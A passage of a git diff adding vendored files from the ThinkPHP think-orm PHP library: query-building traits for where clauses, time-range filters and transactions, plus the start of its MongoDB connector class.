获取字段类型信息 + * @access public + * @param string $field 字段名 + * @return int + */ + public function getFieldBindType(string $field): int + { + $fieldType = $this->getFieldType($field); + + return $this->connection->getFieldBindType($fieldType ?: ''); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php b/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php new file mode 100644 index 0000000..1267e54 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/TimeFieldQuery.php @@ -0,0 +1,214 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +/** + * 时间查询支持 + */ +trait TimeFieldQuery +{ + /** + * 日期查询表达式 + * @var array + */ + protected $timeRule = [ + 'today' => ['today', 'tomorrow -1second'], + 'yesterday' => ['yesterday', 'today -1second'], + 'week' => ['this week 00:00:00', 'next week 00:00:00 -1second'], + 'last week' => ['last week 00:00:00', 'this week 00:00:00 -1second'], + 'month' => ['first Day of this month 00:00:00', 'first Day of next month 00:00:00 -1second'], + 'last month' => ['first Day of last month 00:00:00', 'first Day of this month 00:00:00 -1second'], + 'year' => ['this year 1/1', 'next year 1/1 -1second'], + 'last year' => ['last year 1/1', 'this year 1/1 -1second'], + ]; + + /** + * 添加日期或者时间查询规则 + * @access public + * @param array $rule 时间表达式 + * @return $this + */ + public function timeRule(array $rule) + { + $this->timeRule = array_merge($this->timeRule, $rule); + return $this; + } + + /** + * 查询日期或者时间 + * @access public + * @param string $field 日期字段名 + * @param string $op 比较运算符或者表达式 + * @param string|array $range 比较范围 + * @param string $logic AND OR + * @return $this + */ + public function whereTime(string $field, string $op, $range = null, string $logic = 'AND') + { + if (is_null($range)) { + if (isset($this->timeRule[$op])) { + $range = $this->timeRule[$op]; + } else { + $range = $op; + } + $op = is_array($range) ? 'between' : '>='; + } + + return $this->parseWhereExp($logic, $field, strtolower($op) . ' time', $range, [], true); + } + + /** + * 查询某个时间间隔数据 + * @access public + * @param string $field 日期字段名 + * @param string $start 开始时间 + * @param string $interval 时间间隔单位 day/month/year/week/hour/minute/second + * @param int $step 间隔 + * @param string $logic AND OR + * @return $this + */ + public function whereTimeInterval(string $field, string $start, string $interval = 'day', int $step = 1, string $logic = 'AND') + { + $startTime = strtotime($start); + $endTime = strtotime(($step > 0 ? '+' : '-') . abs($step) . ' ' . $interval . (abs($step) > 1 ? 's' : ''), $startTime); + + return $this->whereTime($field, 'between', $step > 0 ? [$startTime, $endTime - 1] : [$endTime, $startTime - 1], $logic); + } + + /** + * 查询月数据 whereMonth('time_field', '2018-1') + * @access public + * @param string $field 日期字段名 + * @param string $month 月份信息 + * @param int $step 间隔 + * @param string $logic AND OR + * @return $this + */ + public function whereMonth(string $field, string $month = 'this month', int $step = 1, string $logic = 'AND') + { + if (in_array($month, ['this month', 'last month'])) { + $month = date('Y-m', strtotime($month)); + } + + return $this->whereTimeInterval($field, $month, 'month', $step, $logic); + } + + /** + * 查询周数据 whereWeek('time_field', '2018-1-1') 从2018-1-1开始的一周数据 + * @access public + * @param string $field 日期字段名 + * @param string $week 周信息 + * @param int $step 间隔 + * @param string $logic AND OR + * @return $this + */ + public function whereWeek(string $field, string $week = 'this week', int $step = 1, string $logic = 'AND') + { + if (in_array($week, ['this week', 'last week'])) { + $week = date('Y-m-d', strtotime($week)); + } + + return $this->whereTimeInterval($field, $week, 'week', $step, $logic); + } + + /** + * 查询年数据 whereYear('time_field', '2018') + * @access public + * @param string $field 日期字段名 + * @param string $year 年份信息 + * @param int $step 间隔 + * @param string $logic AND OR + * @return $this + */ + public function whereYear(string $field, string $year = 'this year', int $step = 1, string $logic = 'AND') + { + if (in_array($year, ['this year', 'last year'])) { + $year = date('Y', strtotime($year)); + } + + return $this->whereTimeInterval($field, $year . '-1-1', 'year', $step, $logic); + } + + /** + * 查询日数据 whereDay('time_field', '2018-1-1') + * @access public + * @param string $field 日期字段名 + * @param string $day 日期信息 + * @param int $step 间隔 + * @param string $logic AND OR + * @return $this + */ + public function whereDay(string $field, string $day = 'today', int $step = 1, string $logic = 'AND') + { + if (in_array($day, ['today', 'yesterday'])) { + $day = date('Y-m-d', strtotime($day)); + } + + return $this->whereTimeInterval($field, $day, 'day', $step, $logic); + } + + /** + * 查询日期或者时间范围 whereBetweenTime('time_field', '2018-1-1','2018-1-15') + * @access public + * @param string $field 日期字段名 + * @param string|int $startTime 开始时间 + * @param string|int $endTime 结束时间 + * @param string $logic AND OR + * @return $this + */ + public function whereBetweenTime(string $field, $startTime, $endTime, string $logic = 'AND') + { + return $this->whereTime($field, 'between', [$startTime, $endTime], $logic); + } + + /** + * 查询日期或者时间范围 whereNotBetweenTime('time_field', '2018-1-1','2018-1-15') + * @access public + * @param string $field 日期字段名 + * @param string|int $startTime 开始时间 + * @param string|int $endTime 结束时间 + * @return $this + */ + public function whereNotBetweenTime(string $field, $startTime, $endTime) + { + return $this->whereTime($field, '<', $startTime) + ->whereTime($field, '>', $endTime); + } + + /** + * 查询当前时间在两个时间字段范围 whereBetweenTimeField('start_time', 'end_time') + * @access public + * @param string $startField 开始时间字段 + * @param string $endField 结束时间字段 + * @return $this + */ + public function whereBetweenTimeField(string $startField, string $endField) + { + return $this->whereTime($startField, '<=', time()) + ->whereTime($endField, '>=', time()); + } + + /** + * 查询当前时间不在两个时间字段范围 whereNotBetweenTimeField('start_time', 'end_time') + * @access public + * @param string $startField 开始时间字段 + * @param string $endField 结束时间字段 + * @return $this + */ + public function whereNotBetweenTimeField(string $startField, string $endField) + { + return $this->whereTime($startField, '>', time()) + ->whereTime($endField, '<', time(), 'OR'); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/Transaction.php b/vendor/topthink/think-orm/src/db/concern/Transaction.php new file mode 100644 index 0000000..f804ae2 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/Transaction.php @@ -0,0 +1,117 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use think\db\BaseQuery; + +/** + * 事务支持 + */ +trait Transaction +{ + + /** + * 执行数据库Xa事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @param array $dbs 多个查询对象或者连接对象 + * @return mixed + * @throws PDOException + * @throws \Exception + * @throws \Throwable + */ + public function transactionXa($callback, array $dbs = []) + { + $xid = uniqid('xa'); + + if (empty($dbs)) { + $dbs[] = $this->getConnection(); + } + + foreach ($dbs as $key => $db) { + if ($db instanceof BaseQuery) { + $db = $db->getConnection(); + + $dbs[$key] = $db; + } + + $db->startTransXa($xid); + } + + try { + $result = null; + if (is_callable($callback)) { + $result = call_user_func_array($callback, [$this]); + } + + foreach ($dbs as $db) { + $db->prepareXa($xid); + } + + foreach ($dbs as $db) { + $db->commitXa($xid); + } + + return $result; + } catch (\Exception | \Throwable $e) { + foreach ($dbs as $db) { + $db->rollbackXa($xid); + } + throw $e; + } + } + + /** + * 执行数据库事务 + * @access public + * @param callable $callback 数据操作方法回调 + * @return mixed + */ + public function transaction(callable $callback) + { + return $this->connection->transaction($callback); + } + + /** + * 启动事务 + * @access public + * @return void + */ + public function startTrans(): void + { + $this->connection->startTrans(); + } + + /** + * 用于非自动提交状态下面的查询提交 + * @access public + * @return void + * @throws PDOException + */ + public function commit(): void + { + $this->connection->commit(); + } + + /** + * 事务回滚 + * @access public + * @return void + * @throws PDOException + */ + public function rollback(): void + { + $this->connection->rollback(); + } + +} diff --git a/vendor/topthink/think-orm/src/db/concern/WhereQuery.php b/vendor/topthink/think-orm/src/db/concern/WhereQuery.php new file mode 100644 index 0000000..a95c697 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/concern/WhereQuery.php @@ -0,0 +1,524 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\concern; + +use Closure; +use think\db\BaseQuery; +use think\db\Raw; + +trait WhereQuery +{ + /** + * 指定AND查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $op 查询表达式 + * @param mixed $condition 查询条件 + * @return $this + */ + public function where($field, $op = null, $condition = null) + { + if ($field instanceof $this) { + $this->parseQueryWhere($field); + return $this; + } elseif (true === $field || 1 === $field) { + $this->options['where']['AND'][] = true; + return $this; + } + + $param = func_get_args(); + array_shift($param); + return $this->parseWhereExp('AND', $field, $op, $condition, $param); + } + + /** + * 解析Query对象查询条件 + * @access public + * @param BaseQuery $query 查询对象 + * @return void + */ + protected function parseQueryWhere(BaseQuery $query): void + { + $this->options['where'] = $query->getOptions('where'); + + if ($query->getOptions('via')) { + $via = $query->getOptions('via'); + foreach ($this->options['where'] as $logic => &$where) { + foreach ($where as $key => &$val) { + if (is_array($val) && !strpos($val[0], '.')) { + $val[0] = $via . '.' . $val[0]; + } + } + } + } + + $this->bind($query->getBind(false)); + } + + /** + * 指定OR查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $op 查询表达式 + * @param mixed $condition 查询条件 + * @return $this + */ + public function whereOr($field, $op = null, $condition = null) + { + $param = func_get_args(); + array_shift($param); + return $this->parseWhereExp('OR', $field, $op, $condition, $param); + } + + /** + * 指定XOR查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $op 查询表达式 + * @param mixed $condition 查询条件 + * @return $this + */ + public function whereXor($field, $op = null, $condition = null) + { + $param = func_get_args(); + array_shift($param); + return $this->parseWhereExp('XOR', $field, $op, $condition, $param); + } + + /** + * 指定Null查询条件 + * @access public + * @param mixed $field 查询字段 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNull(string $field, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'NULL', null, [], true); + } + + /** + * 指定NotNull查询条件 + * @access public + * @param mixed $field 查询字段 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNotNull(string $field, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'NOTNULL', null, [], true); + } + + /** + * 指定Exists查询条件 + * @access public + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereExists($condition, string $logic = 'AND') + { + if (is_string($condition)) { + $condition = new Raw($condition); + } + + $this->options['where'][strtoupper($logic)][] = ['', 'EXISTS', $condition]; + return $this; + } + + /** + * 指定NotExists查询条件 + * @access public + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNotExists($condition, string $logic = 'AND') + { + if (is_string($condition)) { + $condition = new Raw($condition); + } + + $this->options['where'][strtoupper($logic)][] = ['', 'NOT EXISTS', $condition]; + return $this; + } + + /** + * 指定In查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereIn(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'IN', $condition, [], true); + } + + /** + * 指定NotIn查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNotIn(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'NOT IN', $condition, [], true); + } + + /** + * 指定Like查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereLike(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'LIKE', $condition, [], true); + } + + /** + * 指定NotLike查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNotLike(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'NOT LIKE', $condition, [], true); + } + + /** + * 指定Between查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereBetween(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'BETWEEN', $condition, [], true); + } + + /** + * 指定NotBetween查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereNotBetween(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'NOT BETWEEN', $condition, [], true); + } + + /** + * 指定FIND_IN_SET查询条件 + * @access public + * @param mixed $field 查询字段 + * @param mixed $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereFindInSet(string $field, $condition, string $logic = 'AND') + { + return $this->parseWhereExp($logic, $field, 'FIND IN SET', $condition, [], true); + } + + /** + * 比较两个字段 + * @access public + * @param string $field1 查询字段 + * @param string $operator 比较操作符 + * @param string $field2 比较字段 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereColumn(string $field1, string $operator, string $field2 = null, string $logic = 'AND') + { + if (is_null($field2)) { + $field2 = $operator; + $operator = '='; + } + + return $this->parseWhereExp($logic, $field1, 'COLUMN', [$operator, $field2], [], true); + } + + /** + * 设置软删除字段及条件 + * @access public + * @param string $field 查询字段 + * @param mixed $condition 查询条件 + * @return $this + */ + public function useSoftDelete(string $field, $condition = null) + { + if ($field) { + $this->options['soft_delete'] = [$field, $condition]; + } + + return $this; + } + + /** + * 指定Exp查询条件 + * @access public + * @param mixed $field 查询字段 + * @param string $where 查询条件 + * @param array $bind 参数绑定 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereExp(string $field, string $where, array $bind = [], string $logic = 'AND') + { + $this->options['where'][$logic][] = [$field, 'EXP', new Raw($where, $bind)]; + + return $this; + } + + /** + * 指定字段Raw查询 + * @access public + * @param string $field 查询字段表达式 + * @param mixed $op 查询表达式 + * @param string $condition 查询条件 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereFieldRaw(string $field, $op, $condition = null, string $logic = 'AND') + { + if (is_null($condition)) { + $condition = $op; + $op = '='; + } + + $this->options['where'][$logic][] = [new Raw($field), $op, $condition]; + return $this; + } + + /** + * 指定表达式查询条件 + * @access public + * @param string $where 查询条件 + * @param array $bind 参数绑定 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function whereRaw(string $where, array $bind = [], string $logic = 'AND') + { + $this->options['where'][$logic][] = new Raw($where, $bind); + + return $this; + } + + /** + * 指定表达式查询条件 OR + * @access public + * @param string $where 查询条件 + * @param array $bind 参数绑定 + * @return $this + */ + public function whereOrRaw(string $where, array $bind = []) + { + return $this->whereRaw($where, $bind, 'OR'); + } + + /** + * 分析查询表达式 + * @access protected + * @param string $logic 查询逻辑 and or xor + * @param mixed $field 查询字段 + * @param mixed $op 查询表达式 + * @param mixed $condition 查询条件 + * @param array $param 查询参数 + * @param bool $strict 严格模式 + * @return $this + */ + protected function parseWhereExp(string $logic, $field, $op, $condition, array $param = [], bool $strict = false) + { + $logic = strtoupper($logic); + + if (is_string($field) && !empty($this->options['via']) && false === strpos($field, '.')) { + $field = $this->options['via'] . '.' . $field; + } + + if ($field instanceof Raw) { + return $this->whereRaw($field, is_array($op) ? $op : [], $logic); + } elseif ($strict) { + // 使用严格模式查询 + if ('=' == $op) { + $where = $this->whereEq($field, $condition); + } else { + $where = [$field, $op, $condition, $logic]; + } + } elseif (is_array($field)) { + // 解析数组批量查询 + return $this->parseArrayWhereItems($field, $logic); + } elseif ($field instanceof Closure) { + $where = $field; + } elseif (is_string($field)) { + if (preg_match('/[,=\<\'\"\(\s]/', $field)) { + return $this->whereRaw($field, is_array($op) ? $op : [], $logic); + } elseif (is_string($op) && strtolower($op) == 'exp' && !is_null($condition)) { + $bind = isset($param[2]) && is_array($param[2]) ? $param[2] : []; + return $this->whereExp($field, $condition, $bind, $logic); + } + + $where = $this->parseWhereItem($logic, $field, $op, $condition, $param); + } + + if (!empty($where)) { + $this->options['where'][$logic][] = $where; + } + + return $this; + } + + /** + * 分析查询表达式 + * @access protected + * @param string $logic 查询逻辑 and or xor + * @param mixed $field 查询字段 + * @param mixed $op 查询表达式 + * @param mixed $condition 查询条件 + * @param array $param 查询参数 + * @return array + */ + protected function parseWhereItem(string $logic, $field, $op, $condition, array $param = []): array + { + if (is_array($op)) { + // 同一字段多条件查询 + array_unshift($param, $field); + $where = $param; + } elseif ($field && is_null($condition)) { + if (is_string($op) && in_array(strtoupper($op), ['NULL', 'NOTNULL', 'NOT NULL'], true)) { + // null查询 + $where = [$field, $op, '']; + } elseif ('=' === $op || is_null($op)) { + $where = [$field, 'NULL', '']; + } elseif ('<>' === $op) { + $where = [$field, 'NOTNULL', '']; + } else { + // 字段相等查询 + $where = $this->whereEq($field, $op); + } + } elseif (is_string($op) && in_array(strtoupper($op), ['EXISTS', 'NOT EXISTS', 'NOTEXISTS'], true)) { + $where = [$field, $op, is_string($condition) ? new Raw($condition) : $condition]; + } else { + $where = $field ? [$field, $op, $condition, $param[2] ?? null] : []; + } + + return $where; + } + + /** + * 相等查询的主键处理 + * @access protected + * @param string $field 字段名 + * @param mixed $value 字段值 + * @return array + */ + protected function whereEq(string $field, $value): array + { + if ($this->getPk() == $field) { + $this->options['key'] = $value; + } + + return [$field, '=', $value]; + } + + /** + * 数组批量查询 + * @access protected + * @param array $field 批量查询 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + protected function parseArrayWhereItems(array $field, string $logic) + { + if (key($field) !== 0) { + $where = []; + foreach ($field as $key => $val) { + if ($val instanceof Raw) { + $where[] = [$key, 'exp', $val]; + } else { + $where[] = is_null($val) ? [$key, 'NULL', ''] : [$key, is_array($val) ? 'IN' : '=', $val]; + } + } + } else { + // 数组批量查询 + $where = $field; + } + + if (!empty($where)) { + $this->options['where'][$logic] = isset($this->options['where'][$logic]) ? + array_merge($this->options['where'][$logic], $where) : $where; + } + + return $this; + } + + /** + * 去除某个查询条件 + * @access public + * @param string $field 查询字段 + * @param string $logic 查询逻辑 and or xor + * @return $this + */ + public function removeWhereField(string $field, string $logic = 'AND') + { + $logic = strtoupper($logic); + + if (isset($this->options['where'][$logic])) { + foreach ($this->options['where'][$logic] as $key => $val) { + if (is_array($val) && $val[0] == $field) { + unset($this->options['where'][$logic][$key]); + } + } + } + + return $this; + } + + /** + * 条件查询 + * @access public + * @param mixed $condition 满足条件(支持闭包) + * @param Closure|array $query 满足条件后执行的查询表达式(闭包或数组) + * @param Closure|array $otherwise 不满足条件后执行 + * @return $this + */ + public function when($condition, $query, $otherwise = null) + { + if ($condition instanceof Closure) { + $condition = $condition($this); + } + + if ($condition) { + $this->where($query); + } elseif ($otherwise) { + $this->where($otherwise); + } + + return $this; + } +} diff --git a/vendor/topthink/think-orm/src/db/connector/Mongo.php b/vendor/topthink/think-orm/src/db/connector/Mongo.php new file mode 100644 index 0000000..ec39939 --- /dev/null +++ b/vendor/topthink/think-orm/src/db/connector/Mongo.php @@ -0,0 +1,1167 @@ + +// +---------------------------------------------------------------------- +declare (strict_types = 1); + +namespace think\db\connector; + +use Closure; +use MongoDB\BSON\ObjectID; +use MongoDB\Driver\BulkWrite; +use MongoDB\Driver\Command; +use MongoDB\Driver\Cursor; +use MongoDB\Driver\Exception\AuthenticationException; +use MongoDB\Driver\Exception\BulkWriteException; +use MongoDB\Driver\Exception\ConnectionException; +use MongoDB\Driver\Exception\InvalidArgumentException; +use MongoDB\Driver\Exception\RuntimeException; +use MongoDB\Driver\Manager; +use MongoDB\Driver\Query as MongoQuery; +use MongoDB\Driver\ReadPreference; +use MongoDB\Driver\WriteConcern; +use think\db\BaseQuery; +use think\db\builder\Mongo as Builder; +use think\db\Connection; +use think\db\exception\DbException as Exception; +use think\db\Mongo as Query; + +/** + * Mongo数据库驱动 + */ +class Mongo extends Connection +{ + + // 查询数据类型 + protected $dbName = ''; + protected $typeMap = 'array'; + protected $mongo; // MongoDb Object + protected $cursor; // MongoCursor Object + protected $session_uuid; // sessions会话列表当前会话数组key 随机生成 + protected $sessions = []; // 会话列表 + + /** @var Builder */ + protected $builder; + + // 数据库连接参数配置 + protected $config = [ + // 数据库类型 + 'type' => '', + // 服务器地址 + 'hostname' => '', + // 数据库名 + 'database' => '', + // 是否是复制集 + 'is_replica_set' => false, + // 用户名 + 'username' => '', + // 密码 + 'password' => '', + // 端口 + 'hostport' => '', + // 连接dsn + 'dsn' => '', + // 数据库连接参数 + 'params' => [], + // 数据库编码默认采用utf8 + 'charset' => 'utf8', + // 主键名 + 'pk' => '_id', + // 主键类型 + 'pk_type' => 'ObjectID', + // 数据库表前缀 + 'prefix' => '', + // 数据库部署方式:0 集中式(单一服务器),1 分布式(主从服务器) + 'deploy' => 0, + // 数据库读写是否分离 主从式有效 + 'rw_separate' => false, + // 读写分离后 主服务器数量 + 'master_num' => 1, + // 指定从服务器序号 + 'slave_no' => '', + // 是否严格检查字段是否存在 + 'fields_strict' => true, + // 开启字段缓存 + 'fields_cache' => false, + // 监听SQL + 'trigger_sql' => true, + // 自动写入时间戳字段 + 'auto_timestamp' => false, + // 时间字段取出后的默认时间格式 + 'datetime_format' => 'Y-m-d H:i:s', + // 是否_id转换为id + 'pk_convert_id' => false, + // typeMap + 'type_map' => ['root' => 'array', 'document' => 'array'], + ]; + + /** + * 获取当前连接器类对应的Query类 + * @access public + * @return string + */ + public function getQueryClass(): string + { + return Query::class; + } + + /** + * 获取当前的builder实例对象 + * @access public + * @return Builder + */ + public function getBuilder() + { + return $this->builder; + } + + /** + * 获取当前连接器类对应的Builder类 + * @access public + * @return string + */ + public function getBuilderClass(): string + { + return Builder::class; + } + + /** + * 连接数据库方法 + * @access public + * @param array $config 连接参数 + * @param integer $linkNum 连接序号 + * @return Manager + * @throws InvalidArgumentException + * @throws RuntimeException + */ + public function connect(array $config = [], $linkNum = 0) + { + if (!isset($this->links[$linkNum])) { + if (empty($config)) { + $config = $this->config; + } else { + $config = array_merge($this->config, $config); + } + + $this->dbName = $config['database']; + $this->typeMap = $config['type_map']; + + if ($config['pk_convert_id'] && '_id' == $config['pk']) { + $this->config['pk'] = 'id'; + } + + if (empty($config['dsn'])) { + $config['dsn'] = 'mongodb://' . ($config['username'] ? "{$config['username']}" : '') . ($config['password'] ? ":{$config['password']}@" : '') . $config['hostname'] . ($config['hostport'] ? ":{$config['hostport']}" : ''); + } + + $startTime = microtime(true); + + $this->links[$linkNum] = new Manager($config['dsn'], $config['params']); + + if (!empty($config['trigger_sql'])) { + // 记录数据库连接信息 + $this->trigger('CONNECT:[ UseTime:' . number_format(microtime(true) - $startTime, 6) . 's ] ' . $config['dsn']); + } + + } + + return $this->links[$linkNum]; + } + + /** + * 获取Mongo Manager对象 + * @access public + * @return Manager|null + */ + public function getMongo() + { + return $this->mongo ?: null; + } + + /** + * 设置/获取当前操作的database + * @access public + * @param string $db db + * @return string + */ + public function db(string $db = null) + { + if (is_null($db)) { + return $this->dbName; + } else { + $this->dbName = $db; + } + } + + /** + * 执行查询但只返回Cursor对象 + * @access public + * @param Query $query 查询对象 + * @return Cursor + */ + public function cursor($query) + { + // 分析查询表达式 + $options = $query->parseOptions(); + + // 生成MongoQuery对象 + $mongoQuery = $this->builder->select($query); + + $master = $query->getOptions('master') ? true : false; + + // 执行查询操作 + return $this->getCursor($query, $mongoQuery, $master); + } + + /** + * 执行查询并返回Cursor对象 + * @access public + * @param BaseQuery $query 查询对象 + * @param MongoQuery|Closure $mongoQuery Mongo查询对象 + * @param bool $master 是否主库操作 + * @return Cursor + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function getCursor(BaseQuery $query, $mongoQuery, bool $master = false): Cursor + { + $this->initConnect($master); + $this->db->updateQueryTimes(); + + $options = $query->getOptions(); + $namespace = $options['table']; + + if (false === strpos($namespace, '.')) { + $namespace = $this->dbName . '.' . $namespace; + } + + if (!empty($this->queryStr)) { + // 记录执行指令 + $this->queryStr = 'db' . strstr($namespace, '.') . '.' . $this->queryStr; + } + + if ($mongoQuery instanceof Closure) { + $mongoQuery = $mongoQuery($query); + } + + $readPreference = $options['readPreference'] ?? null; + $this->queryStartTime = microtime(true); + + if ($session = $this->getSession()) { + $this->cursor = $this->mongo->executeQuery($namespace, $query, [ + 'readPreference' => is_null($readPreference) ? new ReadPreference(ReadPreference::RP_PRIMARY) : $readPreference, + 'session' => $session, + ]); + } else { + $this->cursor = $this->mongo->executeQuery($namespace, $mongoQuery, $readPreference); + } + + // SQL监控 + if (!empty($this->config['trigger_sql'])) { + $this->trigger('', $master); + } + + return $this->cursor; + } + + /** + * 执行查询 返回数据集 + * @access public + * @param MongoQuery $query 查询对象 + * @return mixed + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function query(MongoQuery $query) + { + return $this->mongoQuery($this->newQuery(), $query); + } + + /** + * 执行语句 + * @access public + * @param BulkWrite $bulk + * @return int + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + public function execute(BulkWrite $bulk) + { + return $this->mongoExecute($this->newQuery(), $bulk); + } + + /** + * 执行查询 + * @access protected + * @param BaseQuery $query 查询对象 + * @param MongoQuery|Closure $mongoQuery Mongo查询对象 + * @return array + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + protected function mongoQuery(BaseQuery $query, $mongoQuery): array + { + $options = $query->parseOptions(); + + if ($query->getOptions('cache')) { + // 检查查询缓存 + $cacheItem = $this->parseCache($query, $query->getOptions('cache')); + $key = $cacheItem->getKey(); + + if ($this->cache->has($key)) { + return $this->cache->get($key); + } + } + + if ($mongoQuery instanceof Closure) { + $mongoQuery = $mongoQuery($query); + } + + $master = $query->getOptions('master') ? true : false; + $this->getCursor($query, $mongoQuery, $master); + + $resultSet = $this->getResult($options['typeMap']); + + if (isset($cacheItem) && $resultSet) { + // 缓存数据集 + $cacheItem->set($resultSet); + $this->cacheData($cacheItem); + } + + return $resultSet; + } + + /** + * 执行写操作 + * @access protected + * @param BaseQuery $query + * @param BulkWrite $bulk + * + * @return WriteResult + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + * @throws BulkWriteException + */ + protected function mongoExecute(BaseQuery $query, BulkWrite $bulk) + { + $this->initConnect(true); + $this->db->updateQueryTimes(); + + $options = $query->getOptions(); + + $namespace = $options['table']; + if (false === strpos($namespace, '.')) { + $namespace = $this->dbName . '.' . $namespace; + } + + if (!empty($this->queryStr)) { + // 记录执行指令 + $this->queryStr = 'db' . strstr($namespace, '.') . '.' . $this->queryStr; + } + + $writeConcern = $options['writeConcern'] ?? null; + $this->queryStartTime = microtime(true); + + if ($session = $this->getSession()) { + $writeResult = $this->mongo->executeBulkWrite($namespace, $bulk, [ + 'session' => $session, + 'writeConcern' => is_null($writeConcern) ? new WriteConcern(1) : $writeConcern, + ]); + } else { + $writeResult = $this->mongo->executeBulkWrite($namespace, $bulk, $writeConcern); + } + + // SQL监控 + if (!empty($this->config['trigger_sql'])) { + $this->trigger(); + } + + $this->numRows = $writeResult->getMatchedCount(); + + if ($query->getOptions('cache')) { + // 清理缓存数据 + $cacheItem = $this->parseCache($query, $query->getOptions('cache')); + $key = $cacheItem->getKey(); + $tag = $cacheItem->getTag(); + + if (isset($key) && $this->cache->has($key)) { + $this->cache->delete($key); + } elseif (!empty($tag) && method_exists($this->cache, 'tag')) { + $this->cache->tag($tag)->clear(); + } + } + + return $writeResult; + } + + /** + * 执行指令 + * @access public + * @param Command $command 指令 + * @param string $dbName 当前数据库名 + * @param ReadPreference $readPreference readPreference + * @param string|array $typeMap 指定返回的typeMap + * @param bool $master 是否主库操作 + * @return array + * @throws AuthenticationException + * @throws InvalidArgumentException + * @throws ConnectionException + * @throws RuntimeException + */ + public function command(Command $command, string $dbName = '', ReadPreference $readPreference = null, $typeMap = null, bool $master = false): array + { + $this->initConnect($master); + $this->db->updateQueryTimes(); + + $this->queryStartTime = microtime(true); + + $dbName = $dbName ?: $this->dbName; + + if (!empty($this->queryStr)) { + $this->queryStr = 'db.' . $this->queryStr; + } + + if ($session = $this->getSession()) { + $this->cursor = $this->mongo->executeCommand($dbName, $command, [ + 'readPreference' => is_null($readPreference) ? new ReadPreference(ReadPreference::RP_PRIMARY) : $readPreference, + 'session' => $session, + ]); + } else { + $this->cursor = $this->mongo->executeCommand($dbName, $command, $readPreference); + } + + // SQL监控 + if (!empty($this->config['trigger_sql'])) { + $this->trigger('', $master); + } + + return $this->getResult($typeMap); + } + + /** + * 获得数据集 + * @access protected + * @param string|array $typeMap 指定返回的typeMap + * @return mixed + */ + protected function getResult($typeMap = null): array + { + // 设置结果数据类型 + if (is_null($typeMap)) { + $typeMap = $this->typeMap; + } + + $typeMap = is_string($typeMap) ? ['root' => $typeMap] : $typeMap; + + $this->cursor->setTypeMap($typeMap); + + // 获取数据集 + $result = $this->cursor->toArray(); + + if ($this->getConfig('pk_convert_id')) { + // 转换ObjectID 字段 + foreach ($result as &$data) { + $this->convertObjectID($data); + } + } + + $this->numRows = count($result); + + return $result; + } + + /** + * ObjectID处理 + * @access protected + * @param array $data 数据 + * @return void + */ + protected function convertObjectID(array &$data): void + { + if (isset($data['_id']) && is_object($data['_id'])) { + $data['id'] = $data['_id']->__toString(); + unset($data['_id']); + } + } + + /** + * 数据库日志记录(仅供参考) + * @access public + * @param string $type 类型 + * @param mixed $data 数据 + * @param array $options 参数 + * @return void + */ + public function mongoLog(string $type, $data, array $options = []) + { + if (!$this->config['trigger_sql']) { + return; + } + + if (is_array($data)) { + array_walk_recursive($data, function (&$value) { + if ($value instanceof ObjectID) { + $value = $value->__toString(); + } + }); + } + + switch (strtolower($type)) { + case 'aggregate': + $this->queryStr = 'runCommand(' . ($data ? json_encode($data) : '') . ');'; + break; + case 'find': + $this->queryStr = $type . 